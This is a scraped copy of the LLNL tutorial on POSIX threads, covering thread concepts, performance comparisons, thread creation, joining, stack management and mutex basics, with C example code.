Implementations that adhere to this standard are referred to as POSIX threads,
or Pthreads.

The tutorial begins with an introduction to concepts, motivations, and design
considerations for using Pthreads. Each of the three major classes of routines
in the Pthreads API are then covered: Thread Management, Mutex Variables, and
Condition Variables. Example codes are used throughout to demonstrate how to
use most of the Pthreads routines needed by a new Pthreads programmer. The
tutorial concludes with a discussion of LLNL specifics and how to mix MPI with
pthreads. A lab exercise, with numerous example codes \(C Language\) is also
included.

_Level/Prerequisites:_ This tutorial is one of the eight tutorials in the 4+
day "Using LLNL's Supercomputers" workshop. It is deal for those who are new
to parallel programming with threads. A basic understanding of parallel
programming in C is required. For those who are unfamiliar with Parallel
Programming in general, the material covered in EC3500: Introduction To
Parallel Computing would be helpful.  
  
  
  
Pthreads Overview  
---  
## What is a Thread?

  * Technically, a thread is defined as an independent stream of instructions that can be scheduled to run as such by the operating system. But what does this mean? 
  * To the software developer, the concept of a "procedure" that runs independently from its main program may best describe a thread. 
  * To go one step further, imagine a main program \(a.out\) that contains a number of procedures. Then imagine all of these procedures being able to be scheduled to run simultaneously and/or independently by the operating system. That would describe a "multi-threaded" program. 
  * How is this accomplished? 

  * Before understanding a thread, one first needs to understand a UNIX process. A process is created by the operating system, and requires a fair amount of "overhead". Processes contain information about program resources and program execution state, including: 
    * Process ID, process group ID, user ID, and group ID 
    * Environment 
    * Working directory. 
    * Program instructions 
    * Registers 
    * Stack 
    * Heap 
    * File descriptors 
    * Signal actions 
    * Shared libraries 
    * Inter-process communication tools \(such as message queues, pipes, semaphores, or shared memory\). 
<img src='img/Temp2_6076.gif' width='450' height='406' alt='Unix Process' />|
<img src='img/Temp2_6082.gif' width='450' height='398' alt='Process-thread
relationship' />  
---|---  
**UNIX PROCESS**| **THREADS WITHIN A UNIX PROCESS**  
  * Threads use and exist within these process resources, yet are able to be scheduled by the operating system and run as independent entities largely because they duplicate only the bare essential resources that enable them to exist as executable code. 
  * This independent flow of control is accomplished because a thread maintains its own: 
    * Stack pointer 
    * Registers 
    * Scheduling properties \(such as policy or priority\) 
    * Set of pending and blocked signals 
    * Thread specific data. 
  * So, in summary, in the UNIX environment a thread: 
    * Exists within a process and uses the process resources 
    * Has its own independent flow of control as long as its parent process exists and the OS supports it 
    * Duplicates only the essential resources it needs to be independently schedulable 
    * May share the process resources with other threads that act equally independently \(and dependently\) 
    * Dies if the parent process dies - or something similar 
    * Is "lightweight" because most of the overhead has already been accomplished through the creation of its process. 
  * Because threads within the same process share resources: 
    * Changes made by one thread to shared system resources \(such as closing a file\) will be seen by all other threads. 
    * Two pointers having the same value point to the same data. 
    * Reading and writing to the same memory locations is possible, and therefore requires explicit synchronization by the programmer. 

  
  
Pthreads Overview  
---  
## What are Pthreads?

  * Historically, hardware vendors have implemented their own proprietary versions of threads. These implementations differed substantially from each other making it difficult for programmers to develop portable threaded applications. 
  * In order to take full advantage of the capabilities provided by threads, a standardized programming interface was required. 
    * For UNIX systems, this interface has been specified by the IEEE POSIX 1003.1c standard \(1995\). 
    * Implementations adhering to this standard are referred to as POSIX threads, or Pthreads. 
    * Most hardware vendors now offer Pthreads in addition to their proprietary API's. 
  * The POSIX standard has continued to evolve and undergo revisions, including the Pthreads specification. 
  * Some useful links: 
    * standards.ieee.org/findstds/standard/1003.1-2008.html
    * www.opengroup.org/austin/papers/posix\_faq.html
    * www.unix.org/version3/ieee\_std.html
  * Pthreads are defined as a set of C language programming types and procedure calls, implemented with a `pthread.h` header/include file and a thread library - though this library may be part of another library, such as `libc`, in some implementations. 

  
  
Pthreads Overview  
---  
## Why Pthreads?

  * The primary motivation for using Pthreads is to realize potential program performance gains. 
  * When compared to the cost of creating and managing a process, a thread can be created with much less operating system overhead. Managing threads requires fewer system resources than managing processes. 
For example, the following table compares timing results for the `**fork()**`
subroutine and the `**pthread_create()**` subroutine. Timings reflect 50,000
process/thread creations, were performed with the `time` utility, and units
are in seconds, no optimization flags.

Note: don't expect the sytem and user times to add up to real time, because
these are SMP systems with multiple CPUs working on the problem at the same
time. At best, these are approximations run on local machines, past and
present.

Platform| `fork()`| `pthread_create()`  
---|---|---  
real| user| sys| real| user| sys  
**Intel 2.8 GHz Xeon 5660 \(12cpus/node\)** | 4.4| 0.4| 4.3| 0.7| 0.2| 0.5  
**AMD 2.3 GHz Opteron \(16cpus/node\)** | 12.5| 1.0| 12.5| 1.2| 0.2| 1.3  
**AMD 2.4 GHz Opteron \(8cpus/node\)** | 17.6| 2.2| 15.7| 1.4| 0.3| 1.3  
**IBM 4.0 GHz POWER6 \(8cpus/node\)** | 9.5| 0.6| 8.8| 1.6| 0.1| 0.4  
**IBM 1.9 GHz POWER5 p5-575 \(8cpus/node\)** | 64.2| 30.7| 27.6| 1.7| 0.6| 1.1  
**IBM 1.5 GHz POWER4 \(8cpus/node\)** | 104.5| 48.6| 47.2| 2.1| 1.0| 1.5  
**INTEL 2.4 GHz Xeon \(2 cpus/node\)** | 54.9| 1.5| 20.8| 1.6| 0.7| 0.9  
**INTEL 1.4 GHz Itanium2 \(4 cpus/node\)** | 54.5| 1.1| 22.2| 2.0| 1.2| 0.6  
<img
src='https://computing.llnl.gov/tutorials/pthreads//../images/source1.gif'
width='65' height='20' alt='View source code' /> fork\_vs\_thread.txt

  * All threads within a process share the same address space. Inter-thread communication is more efficient and in many cases, easier to use than inter-process communication. 
  * Threaded applications offer potential performance gains and practical advantages over non-threaded applications in several other ways: 
    * Overlapping CPU work with I/O: For example, a program may have sections where it is performing a long I/O operation. While one thread is waiting for an I/O system call to complete, CPU intensive work can be performed by other threads. 
    * Priority/real-time scheduling: tasks which are more important can be scheduled to supersede or interrupt lower priority tasks. 
    * Asynchronous event handling: tasks which service events of indeterminate frequency and duration can be interleaved. For example, a web server can both transfer data from previous requests and manage the arrival of new requests. 
  * The primary motivation for considering the use of Pthreads on an SMP architecture is to achieve optimum performance. In particular, if an application is using MPI for on-node communications, there is a potential that performance could be greatly improved by using Pthreads for on-node data transfer instead. 
  * For example: 
    * MPI libraries usually implement on-node task communication via shared memory, which involves at least one memory copy operation \(process to process\). 
    * For Pthreads there is no intermediate memory copy required because threads share the same address space within a single process. There is no data transfer, per se. It becomes more of a cache-to-CPU or memory-to-CPU bandwidth \(worst case\) situation. These speeds are much higher. 
    * Some local comparisons are shown below: 
Platform| MPI Shared Memory Bandwidth  
\(GB/sec\)| Pthreads Worst Case  
Memory-to-CPU Bandwidth  
\(GB/sec\)  
---|---|---  
Intel 2.8 GHz Xeon 5660 | 5.6| 32  
AMD 2.3 GHz Opteron | 1.8| 5.3  
AMD 2.4 GHz Opteron | 1.2| 5.3  
IBM 1.9 GHz POWER5 p5-575 | 4.1| 16  
IBM 1.5 GHz POWER4 | 2.1| 4  
Intel 2.4 GHz Xeon | 0.3| 4.3  
Intel 1.4 GHz Itanium 2 | 1.8| 6.4  

  
  
Pthreads Overview  
---  
## Designing Threaded Programs

<img
src='https://computing.llnl.gov/tutorials/pthreads//../images/arrowBullet.gif'
/> Parallel Programming:

  * On modern, multi-cpu machines, pthreads are ideally suited for parallel programming, and whatever applies to parallel programming in general, applies to parallel pthreads programs. 
  * There are many considerations for designing parallel programs, such as: 
    * What type of parallel programming model to use? 
    * Problem partitioning 
    * Load balancing 
    * Communications 
    * Data dependencies 
    * Synchronization and race conditions 
    * Memory issues 
    * I/O issues 
    * Program complexity 
    * Programmer effort/costs/time 
    * ... 
  * Covering these topics is beyond the scope of this tutorial, however interested readers can obtain a quick overview in the Introduction to Parallel Computing tutorial. 
  * In general though, in order for a program to take advantage of Pthreads, it must be able to be organized into discrete, independent tasks which can execute concurrently. For example, if routine1 and routine2 can be interchanged, interleaved and/or overlapped in real time, they are candidates for threading. 
<img src='img/Temp2_6078.gif' width='360' height='254' />

  * Programs having the following characteristics may be well suited for pthreads: 
    * Work that can be executed, or data that can be operated on, by multiple tasks simultaneously 
    * Block for potentially long I/O waits 
    * Use many CPU cycles in some places but not others 
    * Must respond to asynchronous events 
    * Some work is more important than other work \(priority interrupts\) 
  * Pthreads can also be used for serial applications, to emulate parallel execution. A perfect example is the typical web browser, which for most people, runs on a single cpu desktop/laptop machine. Many things can "appear" to be happening at the same time. 
  * Several common models for threaded programs exist: 
  * **_Manager/worker:_** a single thread, the _manager_ assigns work to other threads, the _workers_. Typically, the manager handles all input and parcels out work to the other tasks. At least two forms of the manager/worker model are common: static worker pool and dynamic worker pool. 
  * **_Pipeline:_** a task is broken into a series of suboperations, each of which is handled in series, but concurrently, by a different thread. An automobile assembly line best describes this model. 
  * **_Peer:_** similar to the manager/worker model, but after the main thread creates other threads, it participates in the work. 

<img
src='https://computing.llnl.gov/tutorials/pthreads//../images/arrowBullet.gif'
/> Shared Memory Model:

  * All threads have access to the same global, shared memory 
  * Threads also have their own private data 
  * Programmers are responsible for synchronizing access \(protecting\) globally shared data.  <img src='img/Temp2_6081.gif' width='577' height='491' alt='Shared Memory Model' />

<img
src='https://computing.llnl.gov/tutorials/pthreads//../images/arrowBullet.gif'
/> Thread-safeness:

  * Thread-safeness: in a nutshell, refers an application's ability to execute multiple threads simultaneously without "clobbering" shared data or creating "race" conditions. 
  * For example, suppose that your application creates several threads, each of which makes a call to the same library routine: 
    * This library routine accesses/modifies a global structure or location in memory. 
    * As each thread calls this routine it is possible that they may try to modify this global structure/memory location at the same time. 
    * If the routine does not employ some sort of synchronization constructs to prevent data corruption, then it is not thread-safe. 

<img src='img/Temp2_6080.gif' width='666' height='316' alt='threadunsafe' />

  * The implication to users of external library routines is that if you aren't 100% certain the routine is thread-safe, then you take your chances with problems that could arise. 
  * Recommendation: Be careful if your application uses libraries or other objects that don't explicitly guarantee thread-safeness. When in doubt, assume that they are not thread-safe until proven otherwise. This can be done by "serializing" the calls to the uncertain routine, etc. 

  
  
The Pthreads API  
---  
  

  * The original Pthreads API was defined in the ANSI/IEEE POSIX 1003.1 - 1995 standard. The POSIX standard has continued to evolve and undergo revisions, including the Pthreads specification. 
  * Copies of the standard can be purchased from IEEE or downloaded for free from other sites online. 
  * The subroutines which comprise the Pthreads API can be informally grouped into four major groups: 
  * **Thread management:** Routines that work directly on threads - creating, detaching, joining, etc. They also include functions to set/query thread attributes \(joinable, scheduling etc.\) 
  * **Mutexes:** Routines that deal with synchronization, called a "mutex", which is an abbreviation for "mutual exclusion". Mutex functions provide for creating, destroying, locking and unlocking mutexes. These are supplemented by mutex attribute functions that set or modify attributes associated with mutexes. 
  * **Condition variables:** Routines that address communications between threads that share a mutex. Based upon programmer specified conditions. This group includes functions to create, destroy, wait and signal based upon specified variable values. Functions to set/query condition variable attributes are also included. 
  * **Synchronization:** Routines that manage read/write locks and barriers. 

  * Naming conventions: All identifiers in the threads library begin with **pthread\_**. Some examples are shown below. 
Routine Prefix| Functional Group  
---|---  
**pthread\_**|  Threads themselves and miscellaneous subroutines  
**pthread\_attr\_**|  Thread attributes objects  
**pthread\_mutex\_**|  Mutexes  
**pthread\_mutexattr\_**|  Mutex attributes objects.  
**pthread\_cond\_**|  Condition variables  
**pthread\_condattr\_**|  Condition attributes objects  
**pthread\_key\_**|  Thread-specific data keys  
**pthread\_rwlock\_**|  Read/write locks  
**pthread\_barrier\_**|  Synchronization barriers  
  * The concept of opaque objects pervades the design of the API. The basic calls work to create or modify opaque objects - the opaque objects can be modified by calls to attribute functions, which deal with opaque attributes. 
  * The Pthreads API contains around 100 subroutines. This tutorial will focus on a subset of these - specifically, those which are most likely to be immediately useful to the beginning Pthreads programmer. 
  * For portability, the `pthread.h` header file should be included in each source file using the Pthreads library. 
  * The current POSIX standard is defined only for the C language. Fortran programmers can use wrappers around C function calls. Some Fortran compilers \(like IBM AIX Fortran\) may provide a Fortram pthreads API. 
  * A number of excellent books about Pthreads are available. Several of these are listed in the References  section of this tutorial. 

Compiling Threaded Programs  
---  
  

  * Several examples of compile commands used for pthreads codes are listed in the table below. 
Compiler / Platform| Compiler Command| Description  
---|---|---  
INTEL  
Linux| `**icc -pthread**`|  C  
`**icpc -pthread**`|  C++  
PathScale  
Linux| `**pathcc -pthread**`|  C  
`**pathCC -pthread**`|  C++  
PGI  
Linux| `**pgcc -lpthread**`|  C  
`**pgCC -lpthread**`|  C++  
GNU  
Linux, BG/L, BG/P| `**gcc -pthread**`|  GNU C  
`**g++ -pthread**`|  GNU C++  
IBM  
BG/L and BG/P| `**bgxlc_r / bgcc_r**`|  C \(ANSI / non-ANSI\)  
`**bgxlC_r, bgxlc++_r**`|  C++  

  
  
Thread Management  
---  
## Creating and Terminating Threads

<img
src='https://computing.llnl.gov/tutorials/pthreads//../images/arrowBullet.gif'
/> Routines:

`** pthread_create (thread,attr,start_routine,arg) **``** pthread_exit
(status) **``****``** pthread_cancel (thread) **``****``** pthread_attr_init
(attr) **``****``** pthread_attr_destroy (attr) **`  
---  
<img
src='https://computing.llnl.gov/tutorials/pthreads//../images/arrowBullet.gif'
/> Creating Threads:

  * Initially, your `main()` program comprises a single, default thread. All other threads must be explicitly created by the programmer. 
  * `pthread_create` creates a new thread and makes it executable. This routine can be called any number of times from anywhere within your code. 
  * `pthread_create` arguments: 
    * `thread`: An opaque, unique identifier for the new thread returned by the subroutine. 
    * `attr`: An opaque attribute object that may be used to set thread attributes. You can specify a thread attributes object, or NULL for the default values. 
    * `start_routine`: the C routine that the thread will execute once it is created. 
    * `arg`: A single argument that may be passed to _start\_routine_. It must be passed by reference as a pointer cast of type void. NULL may be used if no argument is to be passed. 
  * The maximum number of threads that may be created by a process is implementation dependent. 
  * Once created, threads are peers, and may create other threads. There is no implied hierarchy or dependency between threads. 
<img src='img/Temp2_6079.gif' width='727' height='325' alt='Peer Threads' />

<img
src='https://computing.llnl.gov/tutorials/pthreads//../images/arrowBullet.gif'
/> Thread Attributes:

  * By default, a thread is created with certain attributes. Some of these attributes can be changed by the programmer via the thread attribute object. 
  * `pthread_attr_init` and `pthread_attr_destroy` are used to initialize/destroy the thread attribute object. 
  * Other routines are then used to query/set specific attributes in the thread attribute object. Attributes include: 
    * Detached or joinable state 
    * Scheduling inheritance 
    * Scheduling policy 
    * Scheduling parameters 
    * Scheduling contention scope 
    * Stack size 
    * Stack address 
    * Stack guard \(overflow\) size 
  * Some of these attributes will be discussed later. 

<img
src='https://computing.llnl.gov/tutorials/pthreads//../images/arrowBullet.gif'
/> Thread Binding and Scheduling:

| <img
src='https://computing.llnl.gov/tutorials/pthreads//../images/question2.gif'
width='29' height='39' />| Question: After a thread has been created, how do
you know a\)when it will be scheduled to run by the operating system, and
b\)which processor/core it will run on?  
  
---|---|---  
  * The Pthreads API provides several routines that may be used to specify how threads are scheduled for execution. For example, threads can be scheduled to run FIFO \(first-in first-out\), RR \(round-robin\) or OTHER \(operating system determines\). It also provides the ability to set a thread's scheduling priority value. 
  * These topics are not covered here, however a good overview of "how things work" under Linux can be found in the `sched_setscheduler` man page. 
  * The Pthreads API does not provide routines for binding threads to specific cpus/cores. However, local implementations may include this functionality \- such as providing the non-standard  `pthread_setaffinity_np` routine. Note that "\_np" in the name stands for "non-portable". 
  * Also, the local operating system may provide a way to do this. For example, Linux provides the `sched_setaffinity` routine. 

<img
src='https://computing.llnl.gov/tutorials/pthreads//../images/arrowBullet.gif'
/> Terminating Threads & `pthread_exit()`:

  * There are several ways in which a thread may be terminated: 
  * The thread returns normally from its starting routine. It's work is done. 
  * The thread makes a call to the `pthread_exit` subroutine - whether its work is done or not. 
  * The thread is canceled by another thread via the `pthread_cancel` routine. 
  * The entire process is terminated due to making a call to either the `exec()` or `exit()`
  * If main\(\) finishes first, without calling `pthread_exit` explicitly itself 

  * The `pthread_exit()` routine allows the programmer to specify an optional termination _status_ parameter. This optional parameter is typically returned to threads "joining" the terminated thread \(covered later\). 
  * In subroutines that execute to completion normally, you can often dispense with calling `pthread_exit()` \- unless, of course, you want to pass the optional status code back. 
  * Cleanup: the `pthread_exit()` routine does not close files; any files opened inside the thread will remain open after the thread is terminated. 
  * **Discussion on calling` pthread_exit()` from main\(\):**
    * There is a definite problem if main\(\) finishes before the threads it spawned if you don't call `pthread_exit()` explicitly. All of the threads it created will terminate because main\(\) is done and no longer exists to support the threads. 
    * By having main\(\) explicitly call `pthread_exit()` as the last thing it does, main\(\) will block and be kept alive to support the threads it created until they are done. 

* * *
## Example: Pthread Creation and Termination

  * This simple example code creates 5 threads with the `pthread_create()` routine. Each thread prints a "Hello World\!" message, and then terminates with a call to `pthread_exit()`. 
<img src='https://computing.llnl.gov/tutorials/pthreads//../images/page01.gif'
width='20' height='22' /> Example Code - Pthread Creation and Termination

[code]     #include <pthread.h>

    #include <stdio.h>
    #define NUM_THREADS     5
    
    void *PrintHello(void *threadid)
    {
       long tid;
       tid = (long)threadid;
       printf("Hello World! It's me, thread #%ld!\n", tid);
       pthread_exit(NULL);
    }
    
    int main (int argc, char *argv[])
    {
       pthread_t threads[NUM_THREADS];
       int rc;
       long t;
       for(t=0; t<NUM_THREADS; t++){
          printf("In main: creating thread %ld\n", t);
          rc = pthread_create(&threads[t], NULL, PrintHello, (void *)t);
          if (rc){
             printf("ERROR; return code from pthread_create() is %d\n", rc);
             exit(-1);
          }
       }
    
       /* Last thing that main() should do */
       pthread_exit(NULL);
    }
    
[/code]

<img
src='https://computing.llnl.gov/tutorials/pthreads//../images/source1.gif'
width='65' height='20' alt='View source code' /> <img
src='https://computing.llnl.gov/tutorials/pthreads//../images/output1.gif'
width='65' height='20' alt='View sample output' />  
---  

  
  
Thread Management  
---  
## Passing Arguments to Threads

  * The `pthread_create()` routine permits the programmer to pass one argument to the thread start routine. For cases where multiple arguments must be passed, this limitation is easily overcome by creating a structure which contains all of the arguments, and then passing a pointer to that structure in the `pthread_create()` routine. 
  * All arguments must be passed by reference and cast to \(void \*\). 

| <img
src='https://computing.llnl.gov/tutorials/pthreads//../images/question2.gif'
width='29' height='39' />| Question: How can you safely pass data to newly
created threads, given their non-deterministic start-up and scheduling?  
  
---|---|---  

<img src='https://computing.llnl.gov/tutorials/pthreads//../images/page01.gif'
width='20' height='22' /> **Example 1 - Thread Argument Passing**

This code fragment demonstrates how to pass a simple integer to each thread.
The calling thread uses a unique data structure for each thread, insuring that
each thread's argument remains intact throughout the program.

* * *
[code]

    long *taskids[NUM_THREADS];
    
    for(t=0; t<NUM_THREADS; t++)
    {
       taskids[t] = (long *) malloc(sizeof(long));
       *taskids[t] = t;
       printf("Creating thread %ld\n", t);
       rc = pthread_create(&threads[t], NULL, PrintHello, (void *) taskids[t]);
       ...
    }
    
[/code]

<img
src='https://computing.llnl.gov/tutorials/pthreads//../images/source1.gif'
width='65' height='20' alt='View source code' /> <img
src='https://computing.llnl.gov/tutorials/pthreads//../images/output1.gif'
width='65' height='20' alt='View sample output' />  
---  
<img src='https://computing.llnl.gov/tutorials/pthreads//../images/page01.gif'
width='20' height='22' /> **Example 2 - Thread Argument Passing**

This example shows how to setup/pass multiple arguments via a structure. Each
thread receives a unique instance of the structure.

* * *
[code]

    struct thread_data{
       int  thread_id;
       int  sum;
       char *message;
    };
    
    struct thread_data thread_data_array[NUM_THREADS];
    
    void *PrintHello(void *threadarg)
    {
       struct thread_data *my_data;
       ...
       my_data = (struct thread_data *) threadarg;
       taskid = my_data->thread_id;
       sum = my_data->sum;
       hello_msg = my_data->message;
       ...
    }
    
    int main (int argc, char *argv[])
    {
       ...
       thread_data_array[t].thread_id = t;
       thread_data_array[t].sum = sum;
       thread_data_array[t].message = messages[t];
       rc = pthread_create(&threads[t], NULL, PrintHello, 
            (void *) &thread_data_array[t]);
       ...
    }
    
[/code]

<img
src='https://computing.llnl.gov/tutorials/pthreads//../images/source1.gif'
width='65' height='20' alt='View source code' /> <img
src='https://computing.llnl.gov/tutorials/pthreads//../images/output1.gif'
width='65' height='20' alt='View sample output' />  
---  
<img src='https://computing.llnl.gov/tutorials/pthreads//../images/page01.gif'
width='20' height='22' /> **Example 3 - Thread Argument Passing
\(Incorrect\)**

This example performs argument passing incorrectly. It passes the _address_ of
variable `t`, which is shared memory space and visible to all threads. As the
loop iterates, the value of this memory location changes, possibly before the
created threads can access it.

* * *
[code]

    int rc;
    long t;
    
    for(t=0; t<NUM_THREADS; t++) 
    {
       printf("Creating thread %ld\n", t);
       rc = pthread_create(&threads[t], NULL, PrintHello, (void *) &t);
       ...
    }
    
[/code]

<img
src='https://computing.llnl.gov/tutorials/pthreads//../images/source1.gif'
width='65' height='20' alt='View source code' /> <img
src='https://computing.llnl.gov/tutorials/pthreads//../images/output1.gif'
width='65' height='20' alt='View sample output' />  
---  
  
  
Thread Management  
---  
## Joining and Detaching Threads

<img
src='https://computing.llnl.gov/tutorials/pthreads//../images/arrowBullet.gif'
/> Routines:

`** pthread_join (threadid,status) **``** pthread_detach (threadid)
**``****``** pthread_attr_setdetachstate (attr,detachstate) **``****``**
pthread_attr_getdetachstate (attr,detachstate) **`  
---  
<img
src='https://computing.llnl.gov/tutorials/pthreads//../images/arrowBullet.gif'
/> Joining:

  * "Joining" is one way to accomplish synchronization between threads. For example: 
<img src='img/Temp2_6077.gif' width='755' height='258' alt='Joining' />

  * The `pthread_join()` subroutine blocks the calling thread until the specified `threadid` thread terminates. 
  * The programmer is able to obtain the target thread's termination return `status` if it was specified in the target thread's call to `pthread_exit()`. 
  * A joining thread can match one `pthread_join()` call. It is a logical error to attempt multiple joins on the same thread. 
  * Two other synchronization methods, mutexes and condition variables, will be discussed later. 

<img
src='https://computing.llnl.gov/tutorials/pthreads//../images/arrowBullet.gif'
/> Joinable or Not?

  * When a thread is created, one of its attributes defines whether it is joinable or detached. Only threads that are created as joinable can be joined. If a thread is created as detached, it can never be joined. 
  * The final draft of the POSIX standard specifies that threads should be created as joinable. 
  * To explicitly create a thread as joinable or detached, the `attr` argument in the `pthread_create()` routine is used. The typical 4 step process is: 
    1. Declare a pthread attribute variable of the `pthread_attr_t` data type 
    2. Initialize the attribute variable with `pthread_attr_init()`
    3. Set the attribute detached status with `pthread_attr_setdetachstate()`
    4. When done, free library resources used by the attribute with `pthread_attr_destroy()`

<img
src='https://computing.llnl.gov/tutorials/pthreads//../images/arrowBullet.gif'
/> Detaching:

  * The `pthread_detach()` routine can be used to explicitly detach a thread even though it was created as joinable. 
  * There is no converse routine. 

<img
src='https://computing.llnl.gov/tutorials/pthreads//../images/arrowBullet.gif'
/> Recommendations:

  * If a thread requires joining, consider explicitly creating it as joinable. This provides portability as not all implementations may create threads as joinable by default. 
  * If you know in advance that a thread will never need to join with another thread, consider creating it in a detached state. Some system resources may be able to be freed. 

* * *
## Example: Pthread Joining

<img src='https://computing.llnl.gov/tutorials/pthreads//../images/page01.gif'
width='20' height='22' /> **Example Code - Pthread Joining**

This example demonstrates how to "wait" for thread completions by using the
Pthread join routine. Since some implementations of Pthreads may not create
threads in a joinable state, the threads in this example are explicitly
created in a joinable state so that they can be joined later.

* * *
[code]

    #include <pthread.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <math.h>
    #define NUM_THREADS	4
    
    void *BusyWork(void *t)
    {
       int i;
       long tid;
       double result=0.0;
       tid = (long)t;
       printf("Thread %ld starting...\n",tid);
       for (i=0; i<1000000; i++)
       {
          result = result + sin(i) * tan(i);
       }
       printf("Thread %ld done. Result = %e\n",tid, result);
       pthread_exit((void*) t);
    }
    
    int main (int argc, char *argv[])
    {
       pthread_t thread[NUM_THREADS];
       pthread_attr_t attr;
       int rc;
       long t;
       void *status;
    
       /* Initialize and set thread detached attribute */
       pthread_attr_init(&attr);
       pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_JOINABLE);
    
       for(t=0; t<NUM_THREADS; t++) {
          printf("Main: creating thread %ld\n", t);
          rc = pthread_create(&thread[t], &attr, BusyWork, (void *)t); 
          if (rc) {
             printf("ERROR; return code from pthread_create() 
                    is %d\n", rc);
             exit(-1);
             }
          }
    
       /* Free attribute and wait for the other threads */
       pthread_attr_destroy(&attr);
       for(t=0; t<NUM_THREADS; t++) {
          rc = pthread_join(thread[t], &status);
          if (rc) {
             printf("ERROR; return code from pthread_join() 
                    is %d\n", rc);
             exit(-1);
             }
          printf("Main: completed join with thread %ld having a status   
                of %ld\n",t,(long)status);
          }
     
    printf("Main: program completed. Exiting.\n");
    pthread_exit(NULL);
    }
    
[/code]

<img
src='https://computing.llnl.gov/tutorials/pthreads//../images/source1.gif'
width='65' height='20' alt='View source code' /> <img
src='https://computing.llnl.gov/tutorials/pthreads//../images/output1.gif'
width='65' height='20' alt='View sample output' />  
---  
  
  
Thread Management  
---  
## Stack Management

<img
src='https://computing.llnl.gov/tutorials/pthreads//../images/arrowBullet.gif'
/> Routines:

`** pthread_attr_getstacksize (attr, stacksize) **``**
pthread_attr_setstacksize (attr, stacksize) **``****``**
pthread_attr_getstackaddr (attr, stackaddr) **``****``**
pthread_attr_setstackaddr (attr, stackaddr) **`  
---  
<img
src='https://computing.llnl.gov/tutorials/pthreads//../images/arrowBullet.gif'
/> Preventing Stack Problems:

  * The POSIX standard does not dictate the size of a thread's stack. This is implementation dependent and varies. 
  * Exceeding the default stack limit is often very easy to do, with the usual results: program termination and/or corrupted data. 
  * Safe and portable programs do not depend upon the default stack limit, but instead, explicitly allocate enough stack for each thread by using the `pthread_attr_setstacksize` routine. 
  * The `pthread_attr_getstackaddr` and `pthread_attr_setstackaddr` routines can be used by applications in an environment where the stack for a thread must be placed in some particular region of memory. 

<img
src='https://computing.llnl.gov/tutorials/pthreads//../images/arrowBullet.gif'
/> Some Practical Examples at LC:

  * Default thread stack size varies greatly. The maximum size that can be obtained also varies greatly, and may depend upon the number of threads per node. 
  * Both past and present architectures are shown to demonstrate the wide variation in default thread stack size. 
Node  
Architecture| \#CPUs| Memory \(GB\)| Default Size  
\(bytes\)  
---|---|---|---  
AMD Xeon 5660| 12| 24| 2,097,152  
AMD Opteron| 8| 16| 2,097,152  
Intel IA64| 4| 8| 33,554,432  
Intel IA32| 2| 4| 2,097,152  
IBM Power5| 8| 32| 196,608  
IBM Power4| 8| 16| 196,608  
IBM Power3| 16| 16| 98,304  

* * *
## Example: Stack Management

<img src='https://computing.llnl.gov/tutorials/pthreads//../images/page01.gif'
width='20' height='22' /> **Example Code - Stack Management**

This example demonstrates how to query and set a thread's stack size.

* * *
[code]

    #include <pthread.h>
    #include <stdio.h>
    #define NTHREADS 4
    #define N 1000
    #define MEGEXTRA 1000000
     
    pthread_attr_t attr;
     
    void *dowork(void *threadid)
    {
       double A[N][N];
       int i,j;
       long tid;
       size_t mystacksize;
    
       tid = (long)threadid;
       pthread_attr_getstacksize (&attr, &mystacksize);
       printf("Thread %ld: stack size = %li bytes \n", tid, mystacksize);
       for (i=0; i<N; i++)
         for (j=0; j<N; j++)
          A[i][j] = ((i*j)/3.452) + (N-i);
       pthread_exit(NULL);
    }
     
    int main(int argc, char *argv[])
    {
       pthread_t threads[NTHREADS];
       size_t stacksize;
       int rc;
       long t;
     
       pthread_attr_init(&attr);
       pthread_attr_getstacksize (&attr, &stacksize);
       printf("Default stack size = %li\n", stacksize);
       stacksize = sizeof(double)*N*N+MEGEXTRA;
       printf("Amount of stack needed per thread = %li\n",stacksize);
       pthread_attr_setstacksize (&attr, stacksize);
       printf("Creating threads with stack size = %li bytes\n",stacksize);
       for(t=0; t<NTHREADS; t++){
          rc = pthread_create(&threads[t], &attr, dowork, (void *)t);
          if (rc){
             printf("ERROR; return code from pthread_create() is %d\n", rc);
             exit(-1);
          }
       }
       printf("Created %ld threads.\n", t);
       pthread_exit(NULL);
    }
    
[/code]  
---  
  
  
Thread Management  
---  
## Miscellaneous Routines

`** pthread_self () **``** pthread_equal (thread1,thread2) **`  
---  
  * `pthread_self` returns the unique, system assigned thread ID of the calling thread. 
  * `pthread_equal` compares two thread IDs. If the two IDs are different 0 is returned, otherwise a non-zero value is returned. 
  * Note that for both of these routines, the thread identifier objects are opaque and can not be easily inspected. Because thread IDs are opaque objects, the C language equivalence operator `==` should not be used to compare two thread IDs against each other, or to compare a single thread ID against another value. 
`** pthread_once (once_control, init_routine) **`  
---  
  * `pthread_once` executes the `init_routine` exactly once in a process. The first call to this routine by any thread in the process executes the given `init_routine`, without parameters. Any subsequent call will have no effect. 
  * The init\_routine routine is typically an initialization routine. 
  * The `once_control` parameter is a synchronization control structure that requires initialization prior to calling `pthread_once`. For example: 
`pthread_once_t once_control = PTHREAD_ONCE_INIT;`

  
  
Mutex Variables  
---  
## Overview

  * Mutex is an abbreviation for "mutual exclusion". Mutex variables are one of the primary means of implementing thread synchronization and for protecting shared data when multiple writes occur. 
  * A mutex variable acts like a "lock" protecting access to a shared data resource. The basic concept of a mutex as used in Pthreads is that only one thread can lock \(or own\) a mutex variable at any given time. Thus, even if several threads try to lock a mutex only one thread will be successful. No other thread can own that mutex until the owning thread unlocks that mutex. Threads must "take turns" accessing protected data. 
  * Mutexes can be used to prevent "race" conditions. An example of a race condition involving a bank transaction is shown below: 
Thread 1| Thread 2| Balance  
---|---|---  
**Read balance: $1000**|  | **$1000**  
| **Read balance: $1000**| **$1000**  
| **Deposit $200**| **$1000**  
**Deposit $200**|  | **$1000**  
**Update balance $1000+$200**|  | **$1200**  
| **Update balance $1000+$200**| **$1200**  
  * In the above example, a mutex should be used to lock the "Balance" while a thread is using this shared data resource. 
  * Very often the action performed by a thread owning a mutex is the updating of global variables. This is a safe way to ensure that when several threads update the same variable, the final value is the same as what it would be if only one thread performed the update. The variables being updated belong to a "critical section". 
  * A typical sequence in the use of a mutex is as follows: 
    * Create and initialize a mutex variable 
    * Several threads attempt to lock the mutex 
    * Only one succeeds and that thread owns the mutex 
    * The owner thread performs some set of actions 
    * The owner unlocks the mutex 
    * Another thread acquires the mutex and repeats the process 
    * Finally the mutex is destroyed 
  * When several threads compete for a mutex, the losers block at that call - an unblocking call is available with "trylock" instead of the "lock" call. 
